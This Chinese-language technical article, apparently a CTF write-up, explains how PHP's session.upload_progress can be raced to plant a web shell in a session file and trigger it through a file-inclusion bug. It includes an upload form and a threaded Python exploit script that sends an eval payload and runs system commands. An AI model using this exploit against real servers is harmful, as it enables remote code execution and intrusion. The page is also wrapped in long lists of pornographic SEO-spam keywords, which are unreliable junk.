日本不卡不码高清免费观看,久久国产精品久久w女人spa,黄色aa久久,三上悠亚国产精品一区二区三区

您的位置:首頁技術文章
文章詳情頁

使用session upload_progress實現文件包含實例詳解

瀏覽:277日期:2022-06-06 13:50:06
目錄
  • 前言
  • 基礎知識
    • session.upload_progress
  • 攻擊方法
    • 例題
      • 結語

        前言

        該思路是很久之前在CTF比賽中學習到的,可以簡單理解為利用session.upload_progress來進行文件競爭從而達到上傳文件進行文件包含或者命令執行的目的,可能大部分人會不理解,我們下面我們展開來講。

        基礎知識

        session.upload_progress

        首先我們要先學習什么是session.upload_progress,可以簡單理解為文件上傳進度,在php官方文檔里可以找到描述:

        在這里面有幾個很重要的函數,我們簡單看一下:

        session.upload_progress.enabled = onsession.upload_progress.cleanup = onsession.upload_progress.prefix = "upload_progress_"session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"

        第一個顯而易見是設定是否開啟該功能,第二個cleanup則是是否在上傳后刪除文件,第三個為設置前綴,第四個為session中的鍵值,那么他們有什么用呢?我們就可以在phpinfo里查看這些信息是否開啟以此來判斷能不能利用該漏洞。

        攻擊方法

        我們攻擊思路就是利用session.upload_progress來將木馬寫入到session里面,但這里有兩個問題:

        問題一:代碼里沒有session_start,我們如何創建session文件呢?

        首先我們先看看session里面有一個很重要的選項:

        session.use_strict_mode //默認值為off。

        我們可以自己定義sessionid,假如我們定義sessionid為xino,則PHP將會在服務器上創建一個文件:/tmp/sess_xino”。即使我們沒有初始化Session,PHP也會自動初始化Session。 并產生一個鍵值,這個鍵值由:

        ini.get("session.upload_progress.prefix")+由我們構造的session.upload_progress.name值組成

        最后被寫入sess_文件里。

        問題二:上面的cleanup設置會刪除數據,我們要如何防止數據被刪除呢?

        所以這里需要我們文件競爭不斷發包直至上傳成功,之后再讀取session文件所在路徑即可。類似于下圖,可以搭配burpsuite使用:

        之后我們即可進行文件包含或者RCE攻擊,總結一下該漏洞的利用條件:

        存在文件包含漏洞

        知道session文件存放路徑,可以嘗試默認路徑

        具有讀取和寫入session文件的權限

        下面給大家帶來一個例題。

        例題

        進入題目首先看看題目源碼:

        限制了我們很多東西,只能使用沒有后綴的文件進行文件包含所以想到通過session.upload_progress來進行文件包含,因為我們需要上傳一個東西,所以我們先寫一個簡單的文件上傳點:

        <!DOCTYPE html><html><body><form action="http://ctf" method="POST" enctype="multipart/form-data">    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />    <input type="file" name="file" />    <input type="submit" value="submit" /></form></body></html>

        之后我們進行發包抓包然后重放,查看回顯成功后我們訪問/tmp/sess_flag,發現命令執行了:

        我們將之前發包文件里面的ls命令改為cat flag的文件名即可進行命令執行,也是抓包重放查看返回長度不一樣的包:

        如果不喜歡手動我這里從網上找了一個自動化腳本,大家也可以嘗試一下:

        import ioimport requestsimport threadingsessid = "FLAG"data = {"cmd":"system("ls");"}def write(session):    while True:f = io.BytesIO(b"a" * 1024 * 50)resp = session.post( "http://127.0.0.1/session.php", data={"PHP_SESSION_UPLOAD_PROGRESS": "<?php eval($_POST["cmd"]);?>"}, files={"file": ("1.txt",f)}, cookies={"PHPSESSID": sessid} )def read(session):    while True:resp = session.post("http://127.0.0.1/session.php?file=/Applications/phpstudy/Extensions/tmp/tmp/sess_"+sessid,data=data)if "1.txt" in resp.text:    print(resp.text)    event.clear()else:    print("[+++++++++++++]retry")if __name__=="__main__":    event=threading.Event()    with requests.session() as session:for i in range(1,30):     threading.Thread(target=write,args=(session,)).start()for i in range(1,30):    threading.Thread(target=read,args=(session,)).start()    event.set()

        結語

        今天給大家帶來的是session.upload_progress文件包含漏洞,因為需要一些網絡安全基礎可能部分讀者不太明白,這里有興趣的小伙伴可以自己去了解一下找個現成的靶機去嘗試一下,更多關于session upload_progress文件包含的資料請關注其它相關文章!

        標簽: PHP
        日本不卡不码高清免费观看,久久国产精品久久w女人spa,黄色aa久久,三上悠亚国产精品一区二区三区
        国产麻豆精品| 日韩av成人高清| 精品久久久中文字幕| 国产伦理一区| 欧美黄色精品| 久久不卡日韩美女| 久久免费影院| 成人国产精品一区二区网站| 国产一区二区三区精品在线观看| 国产一区2区| 特黄毛片在线观看| 神马日本精品| 亚洲视频www| 亚洲视频二区| 久久国内精品自在自线400部| 国产精品视频一区二区三区四蜜臂 | 亚洲一区二区三区中文字幕在线观看| 亚洲一区国产| 亚洲精品麻豆| 国产精品亚洲综合久久| 麻豆精品在线观看| 日本免费久久| 亚洲激情国产| 日韩av在线免费观看不卡| 久久av电影| 久久婷婷丁香| 免费成人在线观看| 亚洲三区欧美一区国产二区| 欧美日韩va| 超碰99在线| 夜夜嗨av一区二区三区网站四季av| 国产精品社区| 亚洲人成高清| 美女久久久久久| 亚洲天堂资源| 国产日韩综合| 国产乱码精品一区二区三区亚洲人 | 99在线观看免费视频精品观看| 久久国产精品久久久久久电车| 日本天堂一区| 一区二区精品伦理...| 99国产精品久久久久久久| 亚洲九九精品| 久久精品亚洲一区二区| 久久久久.com| 亚洲欧美网站在线观看| 国产精品18| 在线视频观看日韩| 日韩av午夜在线观看| 精品视频一二| 狠狠久久婷婷| 国产精品4hu.www| 久久久久蜜桃| 国产色99精品9i| 亚洲福利一区| 国产精品香蕉| 亚洲女同中文字幕| 国产精品激情电影| 狠狠久久婷婷| 国产一区丝袜| 综合色就爱涩涩涩综合婷婷| 日韩伦理一区| 欧美日韩亚洲一区| 久久亚洲精品中文字幕蜜潮电影| 日本成人中文字幕在线视频| 99热精品久久| 欧美天堂一区| 国产综合色区在线观看| 日本一区二区三区中文字幕| 亚洲精品88| 国产亚洲精品精品国产亚洲综合| 91精品啪在线观看国产18| 青草av.久久免费一区| 日韩不卡视频在线观看| 国产人成精品一区二区三| 一区视频在线| av最新在线| 国产精品久久久久久模特 | 91精品在线观看国产| 国产毛片精品| 亚洲影院天堂中文av色| 日韩av免费大片| 日韩精品乱码av一区二区| 99精品在线观看| 麻豆国产精品777777在线| 蜜桃免费网站一区二区三区| 日本精品影院| 精品国产亚洲一区二区在线观看| 亚洲欧美网站在线观看| 激情婷婷综合| 中文字幕在线视频久| 国产精品videossex| 日韩专区视频网站| 亚洲作爱视频| 欧美不卡视频| 久久国产日韩| 久久久男人天堂| 久久影院一区二区三区| 日韩精品社区| 婷婷综合成人| 日韩中文字幕一区二区三区| 欧美a级一区| 色天使综合视频| 国产不卡人人| 高清一区二区三区| 久久免费精品| 久久不见久久见免费视频7| 日韩激情中文字幕| 日本不卡视频一二三区| 蜜臀a∨国产成人精品| 日韩亚洲在线| 怡红院精品视频在线观看极品| 91精品精品| 国产在线日韩| 激情五月综合网| 亚洲二区精品| 五月精品视频| 亚洲激情黄色| 亚洲作爱视频| 亚洲综合激情在线| 日韩精品第二页| 欧美日韩调教| 久久狠狠久久| 国产精品久av福利在线观看| 美女精品一区二区| 久久久久久一区二区| 精品在线网站观看| 国产一区二区三区四区| 久久久久久久欧美精品| av亚洲免费| 91成人精品视频| 欧美性感美女一区二区| 欧美.日韩.国产.一区.二区| 一区三区视频| 亚洲精品免费观看| 国产亚洲一卡2卡3卡4卡新区| 国产精品地址| av资源新版天堂在线| 一区二区小说| 亚洲色图综合| 日韩激情啪啪| 麻豆精品视频在线| 日韩免费小视频| 免费欧美一区| 亚洲精品国产精品粉嫩| 日本亚洲视频| 国产精品一区二区免费福利视频| 国产精品久久久久久久久久妞妞| 四虎8848精品成人免费网站| 久久男女视频| 亚洲影院天堂中文av色| 国产精品久一| 久久国产中文字幕| 噜噜噜躁狠狠躁狠狠精品视频| 日韩激情中文字幕| 狠狠久久伊人中文字幕| 久久久蜜桃一区二区人| 日韩在线a电影| 国产日韩亚洲欧美精品| 国产一区二区三区天码| 激情久久99| 一区免费视频| 国产免费av一区二区三区| 在线看片国产福利你懂的| 婷婷六月综合| 欧美日韩一区二区国产| 日韩精品中文字幕第1页| 鲁大师成人一区二区三区| 国产日产精品_国产精品毛片| 亚洲精品**中文毛片| 久久性天堂网| 精品一区二区三区亚洲| 欧美精品九九| 91九色综合| 日韩成人亚洲| 免费在线欧美视频| 麻豆成人综合网| 免费国产自久久久久三四区久久 | 鲁鲁在线中文| 免费在线观看精品| 久久精品国产成人一区二区三区| 欧美一区二区三区高清视频 | 国产九一精品| 精品日韩视频| 日韩国产精品久久久久久亚洲| 超碰超碰人人人人精品| 亚洲综合三区| 国产一区二区三区免费在线 | 国产一区二区三区不卡视频网站 | 久久在线免费| 国产亚洲久久| 久久国产精品成人免费观看的软件| 亚洲精品麻豆| 亚洲伦乱视频| 国产精品久久久久久久久久白浆 | 婷婷综合网站| 麻豆一区二区三| 蜜桃久久精品一区二区| 国产一区二区三区亚洲综合| 视频一区中文字幕|